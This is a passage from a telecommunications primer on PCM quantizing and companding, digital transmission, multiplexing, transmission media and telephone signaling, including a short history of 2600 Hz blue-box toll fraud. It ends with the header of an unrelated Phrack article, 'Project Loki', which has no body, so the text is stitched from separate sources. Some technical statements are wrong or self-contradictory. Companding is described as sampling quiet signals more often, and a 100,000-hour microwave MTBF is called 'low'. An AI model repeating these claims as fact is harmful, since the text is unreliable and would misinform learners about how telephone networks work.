Since analog waves are continuous and have an infinite number of values, an infinite number of PAM voltage levels are needed to perfectly describe any analog wave. In practice, it would be impossible to represent each exact PAM voltage level. Instead, each level is rounded to the nearest of 256 predetermined voltage levels by a method called Quantizing.

Quantizing assigns each PAM voltage level to one of 256 amplitude levels. The amplitude levels do not exactly match the amplitude of the PAM signal but are close enough so only a little distortion results.

This distortion is called quantizing error. Quantizing error is the difference between the actual PAM voltage level and the amplitude level it was rounded to. Quantizing error produces quantizing noise. Quantizing noise creates an audible noise over the transmission line.

Low amplitude signals are affected more than high amplitude signals by quantizing noise. To overcome this effect, a process call companding is employed. Low amplitude signals are sampled more frequently than high amplitude signals. Therefore, changes in voltage along the waveform curve can be more accurately distinguished.

Companding reduces the effect of quantizing error on low amplitude signals where the effect is greatest by increasing the error on high amplitude signals where the effect is minimal. Throughout this process, the total number of samples remains the same at 8000 per second.

Two common companding formulas are used in different parts of the world. The United States and Japan follow a companding formula called Mu‑Law. In Europe and other areas of the world, the formula is slight different and is called A‑Law. Although the two laws differ only slightly, they are incompatible. Mu‑Law hardware cannot be used in conjunction with A‑Law hardware.

Step 3 ‑ Encoding

Encoding converts the 256 possible numeric amplitude voltage levels into binary 8‑bit digital codes. The number 256 was not arrived at accidentally. The reason there are 256 available amplitude levels is that an 8‑bit code contains 256 (28) possible combinations of 1s and 0s. These codes are the final product of Pulse Codes Modulation (PCM) and are ready for digital transmission.

PCM only provides 256 unique pitches and volumes. Every sound that is heard over a phone is one of these 256 possible sounds.

Digital‑Analog Conversion

After the digital bit stream is transmitted, it must be convert back to an analog waveform to be audible to the human ear. This process is called Digital‑Analog conversion and is essentially the reverse of PCM.

This conversion occurs in three steps.

Step 1 ‑ Decoding

Decoding converts the 8‑bit PCM code into PAM voltage levels.

Step 2 ‑ Reconstruction

Reconstruction reads the converted voltage level and reproduces the original analog wave

Step 3 ‑ Filtering

The decoding process creates unwanted high frequency noise in the 4000 Hz ‑ 8000 Hz range which is audible to the human ear. A low‑pass filter blocks all frequencies above one‑half the sampling rate, eliminating any frequencies above 4000 Hz.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

5| Digital Transmission |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

Importance of Digital Transmission

Digital transmission is the movement of computer‑encoded binary information from one machine to another. Digital information can represent voice, text, graphics, and video.

Digital communication is important because we use it everyday. You have used digital communications if

‑ your credit card is scanned at the checkout line of a department store.

‑ you withdraw money from an automated teller machine.

‑ you make an international call around the world.

There are a million ways digital communication affects us every day.

As computer technology advances, more and more of our lives are affected by digital communication. A vast amount of digital information is transmitted every second of every day. Our bank records, our tax records, our purchasing records, and so much more is stored as digital information and transferred whenever and wherever it is needed. It is no exaggeration to say that digital communications will continue to change our lives from now on.

Digital Voice Versus Digital Data

The difference between voice and non‑voice data is this:

Voice transmission represents voice while data transmission represents any non‑voice information, such as text, graphics, or video. Both can be transmitted in identical format‑‑as digitized binary digits

In order to distinguish digital voice binary code from digital data, since they both look like strings of 1s and 0s, you must know what the binary codes represent.

This leads us to another important distinction‑‑ that between digital transmission and data transmission. Although these two terms are often confused, they are not the same thing.

Digital transmission describes the format of the electrical signal‑‑1s and 0s as opposed to analog waves.

Data transmission describes the type of information transmitted‑text, graphics, or video as opposed to voice.

Basic Digital Terminology

A bit is the smallest unit of binary information‑‑a "1" or a "0"

A byte is a "word" of 7 or 8 bits and can represent a unit of information such as a letter, a digit, a punctuation mark, or a printing character (such as a line space).

BPS (bits per second) or bit rate refers to the information transfer rate‑‑ the number of bits transmitted in one second. BPS commonly refers to a transmission speed.

Example:

A device rated at 19,200 bps can process more information than one rated at 2,400 bps. As a matter of fact, eight times more. Bps provides a simple quantifiable means of measuring the amount of information transferred in one second.

Bits per second is related to throughput. Throughput is the amount of digital data a machine or system can process. One might say a machine has a "high throughput," meaning that it can process a lot of information.

Digital Data Transmission

Data communications is made up of three separate parts:

1. Data Terminal Equipment (DTE) is any digital (binary code) device, such as a computer, a printer, or a digital fax.

2. Data Communications Equipment (DCE) are devices that establish, maintain, and terminate a connection between a DTE and a facility. They are used to manipulate the signal to prepare it for transmission. An example of DCE is a modem.

3. The transmission path is the communication facility linking DCEs and DTEs.

The Importance of Modems

A pair of modems is required for most DTE‑to‑DTE transmissions made over the public network.

The function of a modem is similar to the function of a codec, but in reverse. Codecs convert information that was originally in analog form (such as voice) into digital form to transmit it over digital facilities. Modems do the opposite. They convert digital signals to analog to transmit them over analog facilities.

It continues to be necessary to convert analog signals to digital and then back again because the transmission that travels between telephone company COs is usually over digital facilities. The digital signals travel from one telephone company Central Office to another over high capacity digital circuits. Digital transmission is so superior to analog transmission that it is worth the time and expense of converting the analog signals to digital signals.

Since computers communicate digitally, and most CO‑to‑CO facilities are digital, why then is it necessary to convert computer‑generated digital data signals to analog before transmitting them?

The answer is simple. Most lines from a local Central Office to a customer's residence or business (called the local loop) are still analog because for many years, the phone company has been installing analog lines into homes and businesses. Only very recently have digital lines begun to terminate at the end user's premises.

It is one thing to convert a telephone company switch from analog to digital. It is quite another to rewire millions of individual customer sites, each one requiring on‑site technician service. This would require a massive effort that no institution or even industry could afford to do all at one time.

In most cases, therefore, we are left with a public network that is part analog and part digital. We must, therefore, be prepared to convert analog to digital and digital to analog.

Modulation/Demodulation

To transmit data from one DCE to another, a modem is required when any portion of the transmitting facility is analog. The modem (modulater/ demodulater) modulates and demodulates digital signals for transmission over analog lines. Modulation means "changing the signals." The digital signals are changed to analog, transmitted, and then changed back to digital at the receiving end.

Modems always come in pairs‑‑ one at the sending end and one at the receiving end. Their transmission rates vary from 50 bps to 56 Kbps (Kilobits per second).

Synchronous Versus Asynchronous

There are two ways digital data can be transmitted:

Asynchronous transmission sends data one 8‑bit character at a time. For example, typing on a computer sends data from the keyboard to the processor of the computer one character at a time. Start and stop bits attach to the beginning and end of each character to alert the receiving device of incoming information. In asynchronous transmission, there is no need for synchronization. The keyboard will send the data to the processor at the rate the characters are typed. Most modems transmit asynchronously.

Synchronous transmission is a method of sending large blocks of data at fixed intervals of time. The two endpoints synchronize their clocking mechanisms to prepare for transmission. The success of the transmission depends on precise timing.

Synchronous transmission is preferable when a large amount of data must be transmitted frequently. It is better suited for batch transmission because it groups data into large blocks and sends them all at once.

The equipment need for synchronous transmission is more expensive than for asynchronous transmission so a data traffic study must be made to determine if the extra cost is justified. Asynchronous transmission is more cost effective when data communication is light and infrequent.

Error Control

The purpose of error control is to detect and correct errors resulting from data transmission.

There are several methods of performing error control. What most methods have in common is the ability to add an error checking series of bits at the end of a block of data that determines whether the data arrived correctly. If the data arrived with errors, it will contact the sending DTE and request the information be re‑transmitted. Today's sophisticated error checking methods are so reliable that, with the appropriate equipment, it is possible to virtually guarantee that data transmission will arrive error‑free. There are almost no reported cases of a character error in received faxes.

Error control is much more critical in data communication than in voice communication because in voice communication, if one or two of the 8000 PCM signals per second arrive with an error, it will make almost no difference to the quality of the voice representation received. But, imagine the consequences of a bank making a funds transfer and misplacing a decimal point on a large account.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

6| Multiplexing |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

Function of Multiplexers

Analog and digital signals are carried between a sender and receiver over transmission facilities. It costs money to transmit information signals from Point A to Point B. It is, therefore, of prime importance to budget conscious users to minimize transmission costs.

The primary function of multiplexers is to decrease network facility line costs.

Multiplexing is a technique that combines many individual signals to form a single composite signal. This allows the transmission of multiple simultaneous calls over a single line. It would cost a lot more money to have individual lines for each telephone than to multiplex the signals and send them over a single line.

Typical transmission facilities in use today can transmit 24 to 30 calls over one line. This represents a significant savings for the end user as well as for commercial long distance and local distance carriers.

Bandwidth

The bandwidth of a transmission medium is a critical factor in multiplexing. Bandwidth is the difference between the highest and lowest frequencies in a given range. For example, the frequency range of the human voice is between 300 Hz and 3300 Hz. Therefore, the voice bandwidth is

3300 Hz ‑ 300 Hz = 3000 Hz

We also refer to the bandwidth of a transmission medium. A transmission medium can have a bandwidth of 9600 Hz. This means that it is capable of transmitting a frequency range up to 9600 Hz. A medium with a large bandwidth can transmit more information and be divided into more channels than a medium with a small bandwidth.

We will investigate three different methods of multiplexing:

Frequency Division Multiplexing (FDM) Time Division Multiplexing (TDM) Statistical Time Division Multiplexing (STDM)

Frequency Division Multiplexing (FDM)

FDM is the oldest of the three methods of multiplexing. It splits up the entire bandwidth of the transmission facility into multiple smaller slices of bandwidth. For example, a facility with a bandwidth of 9600 Hz can be divided into four communications channels of 2400 Hz each. Four simultaneous telephone conversations can therefore be active on the same line.

Logically, the sum of the separate transmission rates cannot be more than the total transmission rate of the transmission facility: the 9600 Hz facility could not be divided into five 2400 Hz channels because 5 x 2400 is greater than 9600.

Guard bands are narrow bandwidths (about 1000 Hz wide) between adjacent information channels (called frequency banks) which reduce interference between the channels.

The use of FDM has diminished in recent years, primarily because FDM is limited to analog transmission, and a growing percentage of transmission is digital.

Time Division Multiplexing (TDM)

Time division multiplexing has two main advantages over frequency division multiplexing:

‑ It is more efficient

‑ It is capable of transmitting digital signals

Instead of the bandwidth of the facility being divided into frequency segments, TDM divides the capacity of a transmission facility into short time intervals called time slots.

TDM is slightly more difficult to conceptualize than FDM. An analogy helps.

The problem is

We must transport the freight of five companies from New York to San Francisco. Each company wants their freight to arrive on the same day. We must be as fair as we can to prevent one company's freight from arriving before another company's. The freight from each company will fit into 10 boxcars so a total of 50 boxcars must be sent. Essentially, there are three different ways we can accomplish this.

1. We can rent five separate locomotives and rent five separate railway tracks and send each company's freight on its own line.

2. We can rent five separate locomotives, but only one track and send five separate trains along one line.

3. We can join all the boxcars together and connect them to one engine and send them over a single track.

Obviously the most cost effective solution is Number 3. It saves us from renting four extra rail lines and four extra locomotives.

To distribute the freight evenly so that each company's freight arrives at the same time, the could be placed in a pattern as illustrated below:

Company A + Company B + Company C + Company A + Company B + Company C . . .

At San Francisco, the boxcars would be reassembled into the original groups of 10 for each company and delivered to their final destination.

This is exactly the principle behind TDM. Use one track (communication channel), and alternate boxcars (pieces of information) from each sending company (telephone or computer).

In other words, each individual sample of a voice or data conversation is alternated with samples from different conversations and transmitted over the same line.

Let's say we have four callers in Boston (1, 2, 3, and 4) who want to speak with four callers in Seattle (A, B, C, and D). The task is to transmit four separate voice conversations (the boxcars) over the same line (the track).

The voice conversations are sampled by PCM. This breaks each conversation into tiny 8‑bit packets. For a brief moment, caller 1 sends a packet to receiver A. Then, caller 2 sends a packet to receiver B‑‑ and so on. The result is a steady stream of interleaved packets‑‑ just like our train example except the boxcars stretch all across the country. Notice that every fourth packet is from the same conversation. At the receiving end, the packets are reassembled and sent to the appropriate receiver at the rate of 8000 samples per seconds.

Remember that if the receiver hears the samples at the rate of 8000 times per second, it will result in good quality voice reproduction. Therefore, the packets are transmitted fast enough so that every 1/8000 of a second, a packet from each send arrives at the appropriate receiver. In other words, each conversation is connected 8000 times per second‑‑ enough to satisfy Nyquist's Theorem.

In FDM the circuit was divided into individual frequency channels for use by each sender. In contrast, TDM divides the circuit into individual time channels. For a brief moment, each sender is allocated the entire bandwidth‑‑ just enough time to send eight bits of information.

TDM Time Slots

Because a version of the TDM process (called STDM) is the primary switching technique in use today, it is important that this challenging concept be presented as clearly and understandably as possible. Here is a closer look at TDM, emphasizing the "T"‑‑which stands for time.

Each transmitting device is allocated a time slot during which it is permitted to transmit. If there are three transmitting devices, for example, there will be three time slots. If there are four devices there will be four time slots.

Two devices, one transmitting and one receiving, are interconnected by assigning them to the same time slot of a circuit. This means that during their momentary shared time slot, the transmitting device is able to send a short burst of information (usually eight bits) to the receiving device. During their time slot, they use the entire bandwidth of the transmission facility but only for a short period of time. Then, in sequence, the following transmitting devices are allocated time slots during which they too use the whole bandwidth.

Clock A and Clock B at either end of the transmission must move synchronously. They rotate in unison, each momentarily making contact with the two synchronized devices (one sender and one receiver). For precisely the same moment, Clock A will be in contact with Sender 1 and Clock B will be in contact with Receiver 1, allowing one sample (8 bits) of information to pass through. The they will both rotate so that clock A comes into contact with Sender 2 and Clock B with Receiver 2. Again, one sample of information will pass. This process is repeated for as long as needed.

How fast must the clocking mechanism rotate? Again, the answer is Nyquist's theorem. If a signal is sampled 8000 times per second, an accurate representation of voice will result at the receiving end. The same theory applies with TDM. If the clocking mechanism rotates 8000 times per second, the rate of transfer from each sender and receiver must also be 8000 times per second. This is so because every revolution of the two clocking mechanisms result in each input and output device making contact once. TDM will not work if the clocking mechanism synchronization is off.

Each group of bits from one rotation of the clocking mechanism is called a frame. One method for maintaining synchronization is inserting a frame bit at the end of each frame. The frame bit alerts the demultiplexer of the end of a frame.

Statistical Time Division Multiplexing (STDM)

STDM is an advanced form of TDM and is the primary switching technique is use now. The drawback of the TDM process is that if a device is not currently transmitting, its time slot is left unused and is therefore wasted.

In contrast, is STDM, carrying capacity is assigned dynamically. If a device is not transmitting, its time slot can be used by the other devices, speeding up their transmission. In other words, a time slot is assigned to a device only if it has information to send. STDM eliminates wasted carrying capacity.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

7| Transmission Media |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

Voice and data information is represented by waveforms and transmitted to a distant receiver. However, information does not just magically route itself from Point A to Point B. It must follow some predetermined path. This path is called a transmission medium, or sometimes a transmission facility.

The type of transmission medium selected to join a sender and receiver can have a huge effect on the quality, price, and success of a transmission. Choosing the wrong medium can make the difference between an efficient transmission and an inefficient transmission.

Efficient means choosing the most appropriate medium for a given transmission. For example, the most efficient medium for transmitting a normal call from your home to your neighbor is probably a simple pair of copper wires. It is inexpensive and it gets the job done. But if we were to transmit 2‑way video teleconferencing from Bombay to Burbank, one pair of wires might be the least efficient medium and get us into a lot of trouble.

A company may buy all the right equipment and understand all the fundamentals, but if they transmit over an inappropriate medium, they would probably be better off delivering handwritten messages than trying to use the phone.

There are a number of characteristics that determine the appropriateness of each medium for particular applications:

‑ cost

‑ ease of installation

‑ capacity

‑ rate of error

In choosing a transmission medium, these and many other factors must be taken into consideration.

Terminology

The transmission media used in telecommunications can be divided into two major categories: conducted and radiated. Examples of conducted media include copper wire, coaxial cable, and fiber optics. Radiated media include microwave and satellite.

A circuit is a path over which information travels. All of the five media serve as circuits to connect two or more devices.

A channel is a communication path within a circuit. A circuit can contain one or more channels. Multiplexing divides one physical link (circuit) into several communications paths (channels).

The bandwidth of a circuit is the range of frequencies it can carry. The greater the range of frequencies, the more information can be transmitted. Some transmission media have a greater bandwidth than others and are therefore able to carry more traffic.

The bandwidth of a circuit is directly related to its capacity to carry information.

Capacity is the amount of information that may pass through a circuit in a given amount of time. A high capacity circuit has a large amount of bandwidth‑‑ a high range of frequencies‑‑ and can therefore transmit a lot of information.

Copper Cable

Copper cable has historically been the most common medium. It has been around for many years and today is most prevalent in the local loop‑‑the connection between a residence or business and the local telephone company.

Copper cables are typically insulated and twisted in pairs to minimize interference and signal distortion between adjacent pairs. Twisting the wires into pairs results in better quality sound which is able to travel a greater distance.

Shielded twisted pair is copper cable specially insulated to reduce the high error rate associated with copper transmission by significantly reducing attenuation and noise.

Copper cable transmission requires signal amplification approximately every 1800 meters due to attenuation.

Advantages of Copper Cable

There is plenty of it and its price is relatively low.

Installation of copper cable is relatively easy and inexpensive.

Disadvantages of Copper Cable

Copper has a high error rate.

Copper cable is more susceptible to electromagnetic interference (EMI) and radio frequency interference (RFI) than other media. These effects can produce noise and interfere with transmission.

Copper cable has limited bandwidth and limited transmission capacity.

The frequency spectrum range (bandwidth) of copper cable is relatively low ‑‑ approximately one megahertz (one million Hz). Copper circuits can be divided into fewer channels and carry less information than the other media.

Typical Applications of Copper Cable

Residential lines from homes to the local CO (called the local loop).

Lines from business telephone stations to an internal PBX.

Coaxial Cable

Coaxial cable was developed to provide a more effective way to isolate wires from outside influence, as well as offering greater capacity and bandwidth than copper cable.

Coaxial cable is composed of a central conductor wire surrounded by insulation, a shielding layer and an outer jacket.

Coaxial cable requires signal amplification approximately every 2000 meters.

Advantages of Coaxial Cable

Coaxial cable has higher bandwidth and greater channel capacity than copper wire. It can transmit more information over more channels than copper can.

Coaxial cable has lower error rates. Because of its greater insulation, coaxial is less affected by distortion, noise, crosstalk (conversations from adjacent lines), and other signal impairments.

Coaxial cable has larger spacing between amplifiers.

Disadvantages of Coaxial Cable

Coaxial cable has high installation costs. It is thicker and less flexible and is more difficult to work with than copper wire.

Coaxial cable is more expensive per foot than copper cable.

Typical Applications

‑ Data networks

‑ Long distance networks

‑ CO‑to‑CO connections

Microwave

For transmission by microwave, electrical or light signals must be transformed into high‑frequency radio waves. Microwave radio transmits at the high end of the frequency spectrum ‑‑between one gigahertz (one billion Hz) and 30 GHz.

Signals are transmitted through the atmosphere by directly aiming one dish at another. A clear line‑of‑sight must exist between the transmitting and receiving dishes because microwave travels in a straight line. Due to the curvature of the earth, microwave stations are spaced between 30 and 60 kilometers apart.

To compensate for attenuation, each tower is equipped with amplifiers (for analog transmission) or repeaters (for digital transmission) to boost the signal.

Before the introduction of fiber optic cable in 1984, microwave served as the primary alternative to coaxial cable for the public telephone companies.

Advantages of Microwave

Microwave has high capacity. Microwave transmission offers greater bandwidth than copper or coaxial cable resulting in higher transmission rates and more voice channels.

Microwave has low error rates.

Microwave systems can be installed and taken down quickly and inexpensively. They can be efficiently allocated to the point of greatest need in a network. Microwave is often used in rural areas because the microwave dishes can be loaded on trucks, moved to the desired location, and installed quickly.

Microwave requires very little power to send signals from dish to dish because transmission does not spread out into the atmosphere. Instead it travels along a straight path toward the next tower.

Microwave has a low Mean Time Between Failures (MTBF) of 100,000 hours‑‑ or only six minutes of down time per year.

Microwave is good for bypassing inconvenient terrain such as mountains and bodies of water.

Disadvantages of Microwave

Microwave is susceptible to environmental distortions. Factors such as rain, snow, and heat can cause the microwave beam to bend and vary. This affects signal quality.

Microwave dishes must be focused in a straight line‑of‑sight. This can present a problem over certain terrain or in congested cities. Temporary physical line‑of‑sight interruptions, such as a bird or plane flying through the signal pathway, can result in a disruption of signals.

Microwave usage must be registered with appropriate regulatory agencies. These agencies monitor and allocate frequency assignments to prevent systems from interfering with each other.

Extensive use of microwave in many busy metropolitan areas has filled up the airwaves, limiting the availability of frequencies.

Typical Applications

‑ Private networks

‑ Long distance networks

Satellite

Satellite communication is a fast growing segment of the telecommunications market because it provides reliable, high capacity circuits.

In most respects, satellite communication is similar to microwave communication. Both use the same very high frequency (VHF) radio waves and both require line‑of‑sight transmission. A satellite performs essentially the same function as a microwave tower.

However, satellites are positioned 36,000 kilometers above the earth in a geosynchronous orbit, This means they remain stationary relative to a given position on the surface of earth.

Another difference between microwave and satellite communications is their transmission signal methods. Microwave uses only one frequency to send and receive messages. Satellites use two different frequencies‑‑one for the uplink and one for the downlink.

A device called a transponder is carried onboard the satellite. It receives an uplink signal beam from a terrestrial microwave dish, amplifies (analog) or regenerates (digital) the signal, then retransmits a downlink signal beam to the destination microwave dish on the earth. Today's satellites have up to 48 transponders, each with a capacity greater than 100 Mbps.

Because of the long distance traveled, there is a propagation delay of 1/2 second inherent in satellite communication. Propagation delay is noticeable in phone conversations and can be disastrous to data communication.

A unique advantage of satellite communication is that transmission cost is not distance sensitive. It costs the same to send a message across the street as around the world.

Another unique characteristic is the ability to provide point‑to‑multipoint transmission. The area of the surface of the earth where the downlinked satellite signals can be received is called its footprint. Information uplinked from the earth can be broadcast and retransmitted to any number of receiving dishes within the satellite's footprint. Television broadcast is a common application of point‑to‑multipoint transmission.

Advantages of Satellite Transmission

Satellite transmission provides access to wide geographical areas (up to the size of the satellite's footprint), point‑to‑multipoint broadcasting, a large bandwidth, and is very reliable.

Disadvantages of Satellite Transmission

Problems associated with satellite transmission include: propagation delay, licensing requirement by regulatory agencies security issue concerning the broadcast nature of satellite transmission. Undesired parties within a satellites footprint may illicitly receive downlink transmission.

Installation requires a satellite in orbit.

Fiber Optics

Fiber optics is the most recently developed transmission medium. It represents an enormous step forward in transmission capacity. A recent test reported transmission rates of 350 Gbps (350 billion bits), enough bandwidth to support millions of voice calls. Furthermore, a recently performed record‑ setting experiment transmitted signals 10,000 Km without the use of repeaters, although in practice 80 to 300 Km is the norm. Recall the need for repeaters every kilometer or so with copper wire and coaxial.

Fiber optics communication uses the frequencies of light to send signals. A device called a modulator converts electrical analog or digital signals into light pulses. A light source pulses light on and off billions and even trillions of times per second (similar to a flashlight turned on and off‑‑ only faster). These pulses of light are translated into binary code. The positive light pulse represents 1; a negative light pulse (no light) represents 0. Fiber optics is digital in nature.

The light is then transmitted along a glass or plastic fiber about the size of a human hair. At the receiving end, the light pulses are detected and converted back to electrical signals by photoelectric diodes.

Advantages of Fiber Optics

Fiber optics has an extremely high bandwidth. In fact, fiber optic bandwidth is almost infinite, limited only by the ability of engineers to increase the frequency of the pulses of light. Current technology achieves a frequency of 100 terahertz (one million billion).

Fiber optics is not subject to interference or electromagnetic impairments as are the other media.

Fiber optics has an extremely low error rate‑‑ approximately one error per 1,000,000,000,000.

Fiber optics has a low energy loss translating into fewer repeaters/regenerators per long distance transmission.

Fiber is a glass and glass is made of sand. There will never by a shortage of raw material for fiber.

Disadvantages of Fiber Optics

Installation costs are high for a fiber optic system. Currently it costs approximately $41,000 per km to install a fiber optic system. The expense of laying fiber is primarily due to the high cost of splicing and joining fiber. The cost will almost certainly decrease dramatically as less expensive methods of splicing and joining fiber are introduced.

A potential disadvantage of fiber optics results from its enormous carrying capacity. Occasionally a farmer or construction worker will dig into the earth and unintentionally split a fiber optic cable. Because the cable can carry so much information, an entire city could lose its telephone communication from just one minor mishap.

.‑‑‑‑‑‑‑‑‑‑‑.

8| Signaling |

`‑‑‑‑‑‑‑‑‑‑‑'

Types of Signals

When a subscriber picks up the phone to place a call, he dials digits to signal the network. The dialed digits request a circuit and tell the network where to route the call‑‑a simple enough procedure for the caller. But in fact, it involves a highly sophisticated maze of signaling to and from switches and phones to route and monitor the call. Signaling functions can be divided into three main categories.

Supervisory

Supervisory signals indicate to the party being called and the CO the status of lines and trunks‑‑whether they are idle, busy, or requesting service. The signals detect and initiate service on requesting lines and trunks. Signals are activated by changes in electrical state and are caused by events such as a telephone going on‑hook or off‑hook. Their second function is to process requests for telephone features such as call waiting.

Addressing

Addressing signals determine the destination of a call. They transmit routing information throughout the network. Two of the most important are

Dial Pulse: These address signals are generated by alternately opening and closing a contact in a rotary phone through which direct current flows. The number of pulses corresponds to the number of the dialed digit.

Tone: These address signals send a unique tone or combination of tones which correspond to the dialed digit.

Alerting

Alerting signals inform the subscriber of call processing conditions.. These signals include:

Dial tone

The phone ringing

Flashing lights that substitute for phone ringing Busy signal

Let's take a look at how signaling is used to set up a typical call over the public network.

Step 1 ‑ Caller A goes off‑hook

Step 2 ‑ The CO detects a change in state in the subscriber's line. The CO responds by sending an alerting signal (dial tone) to caller A to announce that dialing may begin. The CO marks the calling line busy so that other subscribers can not call into it. If another subscriber attempts to phone caller A, he will get the alerting busy signal. Caller A dials the digits using tones from the keypad or dial pulses from a rotary phone.

Step 3 ‑ The dialed digits are sent as addressing signals from caller A to CO A

Step 4 ‑ CO A routes the addressing signals to CO B.

Step 5 ‑ Supervisory signals in CO B test caller B to determine if the line is free. The line is determined to be free.

Step 6 ‑ CO B sends alerting signals to caller B, which causes caller B's telephone to ring.

This is an example of a local call which was not billed to the customer. If the call had been a billable, long distance call, it would have used a supervisory signal known as answer supervision. When the receiving end of a long distance call picks up, it sends a signal to its local CO. The CO then sends an answer supervision signal to the caller's CO telling it that the phone was picked up and it is time to begin billing.

Where on the Circuit Does Signaling Occur?

There are only three places where signaling can occur:

In‑band means on the same circuit as voice, within the voice frequency range (between 300 and 3400 Hz).

Out‑of‑band means on the same circuit as voice, outside of the voice frequency range (3400 ‑ 3700 Hz).

Common Channel Signaling (CCS) means signaling occurs on a completely separate circuit.

The frequency range of human voice is approximately 0 ‑ 4000 Hz. However, most voice signals fall in the area between 300 and 3400 Hz. Therefore, to save bandwidth, telephones only recognize signals between 300 and 3400 Hz. It is conceivable that someone with an extremely high voice would have difficulty communicating over the telephone.

In‑band and Out‑of‑band

In‑band signaling (300 to 3400 Hz) can take the form of either a single frequency tone (SF signaling) of a combination of tones (Dual Tone Multifrequency ‑ DTMF). DTMF is the familiar touch tone.

Out‑of‑band signaling (3400 to 3700 Hz) is always single frequency (SF).

In other words, using the frequency range from 300 to 3700 Hz, there are three methods of signaling.

Method A: In‑band (300 to 3400 Hz) by a single frequency (SF)

Method B: In‑band (300 to 3400 Hz) by multifrequencies (DTMF)

Method C: Out‑of‑band (3400 to 3700 Hz) by a single frequency (SF)

Single Frequency (SF) Signaling

Methods A and C are examples of Single Frequency (SF) signaling. SF signaling is used to determine if the phone line is busy (supervision) and to convey dial pulses (addressing).

Method A: In‑band SF signaling uses a 2600 Hz tone which is carried over the frequency bandwidth of voice (remember the frequency bandwidth of voice is between 300 and 3300 Hz), within the speech path. So as not to interfere with speech, it is present before the call but is removed once the circuit is seized and speech begins. After the conversation is over, it may resume signaling. It does not, however, signal during the call because it would interfere with voice which also may transmit at 2600 Hz. Special equipment prevents occasional 2600 Hz speech frequencies from accidentally setting off signals.

Method C: To improve signaling performance, SF out‑of‑band signaling was developed. It uses frequencies above the voice frequency range (within the 3400 to 3700 Hz bandwidth) to transmit signals.

The problem with Methods A and C is that they are easily susceptible to fraud. In the late 1960s, one of the most popular breakfast cereals in America had a promotion in which they packaged millions of children's whistles, one in each specially marked box. Never did General Mills, the producer of the cereal, anticipate the fraud they would be party to. It turned out that the whistles emitted a pure 2600 Hz tone, exactly the tone used in Method A. It did not take long for hackers to discover that if they blew the whistles into the phones while making a long distance phone call, it tricked the telephone company billing equipment and no charge was made.

This trick grew into its own little cottage industry, culminating in the infamous mass produced Blue Boxes which played tones that fooled telephone billing equipment out of millions of dollars.

Method B: DTMF was introduced to overcome this fraud, as well as to provide better signaling service to the customer. Instead of producing just one signaling frequency, DTMF transmits numerical address information from a phone by sending a combination of two frequencies, one high and one low, to represent each number/letter and * and # on the dial pad. The usable tones are located in the center of the voice communication frequencies to minimize the effects of distortion.

Drawbacks to SF and DTMF Signaling

There are drawbacks to both SF and DTMF signaling that are promoting their replacement in long distance toll circuits. The most important is that these signals consume time on the circuit while producing no revenues. Every electrical impulse, be it a voice conversation or signaling information, consumes circuit time. Voice conversations are billable. Signaling is not. Therefore, it is in the best interest of the phone carriers to minimize signaling.

Unfortunately, almost half of all toll calls are not completed because the called party is busy, not available or because of CO blockage. Nevertheless, signals must be generated to attempt to set up, then take down the call. Signals are generated but no revenue is produced. For incompleted calls, these signals compete with revenue producing signals (whose calls were completed) for scarce circuit resources.

CCS introduced several benefits to the public network:

. Signaling information was removed from the voice channel, so control information could travel at the same time as voice without taking up valuable bandwidth from the voice channel.

. CCS sets up calls faster, reducing signaling time and freeing up scarce resources.

. It cost less than conventional signaling.

. It improves network performance.

. It reduces fraud.

Signaling System 7 (SS7)

Today the major long distance carriers use a version of CCS called Signaling System 7 (SS7). It is a standard protocol developed by the CCITT, a body which establishes international standards.

Common Channel Signaling (CCS)

Common Channel Signaling (CCS) is a radical departure from traditional signaling methods. It transmits signals over a completely different circuit than the voice information. The signals from hundreds or thousands of voice conversations are carried over a single common channel.

Introduced in the mid‑1970s CCS uses a separate signaling network to transmit call setup, billing, and supervisory information. Instead of sending signals over the same communication paths as voice or data, CCS employs a full network dedicated to signaling alone.

Loop Start Versus Ground Start Signaling

Establishing an electrical current connection with a CO can be done in several different ways. Here are a few of the possibilities

Loop Start

Inside of the CO, there is a powerful, central battery that provides current to all subscribers. Loop start is a method of establishing the flow of current from the CO to a subscriber's phone.

The two main components of a loop start configuration are

The tip (also called the A line) is the portion of the line loop between the CO and the subscriber's phone that is connected to the positive, grounded side of the battery.

The ring (also called the B line) is the portion of the line loop between the CO and the subscriber's phone that is connected to the negative, ungrounded side of the battery.

To establish a loop start connection with the CO, a subscriber goes off‑hook. This closes a direct current (DC) path between the tip and ring and allows the current to flow in a loop from the CO battery to the subscriber and back to the battery. Once the current is flowing, the CO is capable of sending alerting signals (dial tone) to the subscriber to begin a connection.

The problem with loop start signaling is a phenomenon called glare that occurs in trunks between a CO and a PBX. When a call comes into a PBX from CO trunk, the only way the PBX knows that the trunk circuit is busy is the ringing signal sent from the CO.

Unfortunately the ringing signal is transmitted at six second intervals. For up to six seconds at a time, the PBX does not know there is a call on that circuit. If an internal PBX caller wishes to make an outgoing call, the PBX may seize the busy trunk call at the same time. The result is confused users on either end of the line, and the abandonment of both calls.

Ground Start

Ground start signaling overcomes glare by immediately engaging a circuit seize signal on the busy trunk. The signal alerts the PBX that the circuit is occupied with an incoming call and cannot be used for an outgoing call.

Ground start is achieved by the CO by grounding the tip side of the line immediately upon seizure by an incoming call. The PBX detects the grounded tip and is alerted not to seize this circuit for an outgoing call, even before ringing begins.

Because ground start is so effective at overcoming glare, it is commonly used in trunks between the CO and a PBX.

E & M

E & M signaling is used in tie lines which connect two private telephone switches. In E & M signaling, information is transmitted from one switch to another over two pairs of wires. Voice information is sent over the first pair, just as it would be in a Loop Start or Ground Start trunk. However, instead of sending the signaling information over the same pair of wires, it is sent over the second pair of wires.

Project Loki

.oO Phrack Magazine Oo.

Volume Seven, Issue Forty‑Nine

File 06 of 16

[ Project Loki ]

whitepaper by daemon9 AKA route sourcecode by daemon9 && alhambra for Phrack Magazine

August 1996 Guild Productions, kid

comments to route@infonexus.com/alhambra@infonexus.com

‑‑[ Introduction ]‑‑

